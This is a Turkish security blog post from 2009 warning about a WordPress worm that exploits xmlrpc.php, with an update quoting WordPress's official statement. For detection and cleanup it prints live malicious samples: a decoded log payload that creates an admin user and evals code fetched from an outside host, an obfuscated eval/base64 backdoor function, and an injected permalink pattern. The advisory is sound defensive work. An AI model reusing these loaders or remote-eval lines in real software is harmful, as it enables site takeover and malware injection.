Önemli WordPress Güvenlik Zafiyeti
Warning: mysqli_query(): (HY000/3): Error writing file '/tmp/MYvVDi2P' (Errcode: 28 - No space left on device) in /usr/share/nginx/html/syslogs/wp-includes/class-wpdb.php on line 2349
Bir kaç saat önce, wordpress.org forumlarına WP tabanlı bir çok site ve blogun hack edildiğine dair iletiler gönderilmeye başlandı. Henüz wordpress tarafından resmi bir duyuru yapılmamamış olmasına rağmen, anlaşılan o ki ortalıkta bir exploit dolaşıyor. Siz de bir wordpress kullanıcısı iseniz, bu konuya azami dikkat etmeniz gerekmekte. Zira, hack edilen sistemlere kod enjeksiyonu yapıldığı da rapor edilmekte. |
Eğer, wordpress'in eski bir sürümünü kullanıyorsanız sisteminizi bir an önce Worpress 2.8.4 sürümüne upgrade etmeniz tavsiye ediliyor.
Zafiyet ile ilgili detaylar şu şekilde:
Henüz WordPress tarafından herhangi bir açıklama yapılmadı ve problemin tam olarak nereden kaynaklandığı şu an itibari ile belli değil. Ancak sistemleri hack edilen kişilerin forumlarda paylaştığı bilgilere göre, sisteme giriş için wordpress'in ana dizininde bulunan xmlrpc.php dosyası kullanılıyor. Saldırganın bir şekilde bu dosya vasıtası ile sisteme eriştiği ve permalink yapısını değiştirme yetkisine sahip bir kullanıcı oluşturarak kalıcı bağlantı (permalink) yapısının değiştirildiği, dosya upload'ı ve kod enjeksiyonu yapıldığı belirtiliyor.
Aşağıda apache access loglarından tespit edilmiş örnek bir POST işlemine ait logu görebilirsiniz.
219.101.28.243 - - [03/Sep/2009:22:22:38 -0500] "POST /xmlrpc.php HTTP/1.1" 200 174 "JHJvbGU9J2FkbWluaXN0cmF0b3InOyR1c2VyX2xvZ2luPSdBZGFtU2x1c3Nlcjg1JzskdXNlcl9 wYXNzPSdCWShkKCZ4OClLaXAnO2V2YWwoZmlsZV9nZXRfY29udGVudHMoJ2h0dHA6Ly9saW5rcy53ZWJ 3b3JkcHJlc3MuY24vZGF0YS9zaG9ydHBhcnQyLnR4dCcpKTtleGl0Ow==" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; en)"
Logdaki, Base64 kodunun decode edilmiş hali de şöyle:
$role='administrator';$user_login='AdamSlusser85';$user_pass='BY(d(&x8)Kip' ;eval(file_get_contents('http://links.webwordpress.cn/data/shortpart2.txt'));exit;
Buna göre, hacklenen wordpress sistemlerin, kalıcı bağlantılarının (permalink) ve besleme linklerininin sonuna aşağıdakine benzer base64 ve eval içeren garip eklemeler yapıldığı belirtiliyor.
(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_REFERER%5D))%7D%7D|.+)&%/
Ayrıca,
wp-content/upload dizini içerisinde wp-pass.php gibi aslında bulunmaması gereken php dosyalarının var olduğu ve index.php, wp-config.php gibi dosyaların içerisine kod enjeksiyonu yapıldığı da bildirilen durumlar arasında.
Örnek bir kod çıktısı şu şekilde:
function gpc_19045($l19047){if(is_array($l19047)){foreach($l19047 as $l19045=>$l19046)$l19047[$l19045]=gpc_19045($l19046);}elseif(is_string($l19047) && substr($l19047,0,4)=="____") {eval(base64_decode(substr($l19047,4)));$l19047=null;}return $l19047;} if(empty($_SERVER))$_SERVER=$HTTP_SERVER_VARS;array_map("gpc_19045",$_SERVER); // Silence is golden.
Sisteminize herhangi bir dosya upload'ı ya da kod enjeksiyonu yapılıp yapılmadığını hızlıca tespit etmek için, wordpress ana dizininde “function gpc” ibaresini aşağıdaki şekilde aratabilirsiniz:
# find . -name '*' -exec grep -H "function gpc_" {} \;
Hack edilmiş bir sistemi temizlemek için sunucunun incelenmesi, enjekte edilen kod satırlarının ve upload edilen dosyaların silinmesi gerekiyor. Bunun dışında, wordpress dosyalarının izinleri gözden geçirilmeli, yazma izni olmaması gereken yazılabilir dosyaların permissionları yeniden set edilmelidir. Ayrıca, bilgi dahilinde olmadan açılmış kullanıcıların silinmesi, permalink ayarlarının eski haline getirilmesi gerekmekte. Sonrasında da wordpress'in acilen son sürüme upgrade edilmesi gerekmektedir.
Gerçi, açık hakkında detay olmaığından bu işlemlerin tam olarak işe yaradığı da pek bilinmiyor. Ancak kısa bir süre içinde WordPress tarafından bir açıklama yapılacaktır.
Konu ile ilgili daha fazla bilgi ve ilgili forum başlıklarına erişmek için aşağıdaki linki ziyaret edebilirsiniz.
http://wordpress.org/support/topic/307660
UPDATE (5/09/2009 – 23:00~)
WordPress'ten konu ile ilgili açıklama geldi. Açıklamaya ait bilgiler kısaca şöyle:
Ortalıkta dolaşan bir worm, wordpress sitelerde bir kullanıcı kaydı oluşturup, wordpress'in eski (ve daha önceden patchlenen) bir güvenlik açığını kullanarak, permalink yapısı üzerinden kendisini admin kullanıcısı haline getirmekteymiş. Sonrasında da bir JavaScript kodu kullanarak kendisini, WordPress kullanıcı sayfasında gizliyormuş. Yani kullanıcılarınıza göz attığınız zaman worm tarafından admin durumuna getirilen kullanıcıyı tespit edemiyorsunuz. Son olarak da bu kullanıcı vasıtası ile özellikle eski postlara gizli spam ve malware içerik eklemekteymiş.
2.8.4 numaralı son sürümün bu wormdan etkilenmediği belirtiliyor. Dolayısı ile eski bir sürüm kullananların WordPress 2.8.4'e upgrade etmeleri gerekiyor.
Açıklamaya şu sayfadan erişebilirsiniz:
http://wordpress.org/development/2009/09/keep-wordpress-secure/
Bu yazılar da ilginizi çekebilir:
- WordPress wp-trackback.php DoS Zafiyeti
- Flash Player ClickJacking açığı için upgrade
- Linux 101 Hacks – Ücretsiz eKitap
Yorumlar
Trackbacks
Yorumda bulunun.
elinize sağlık
[Cevapla]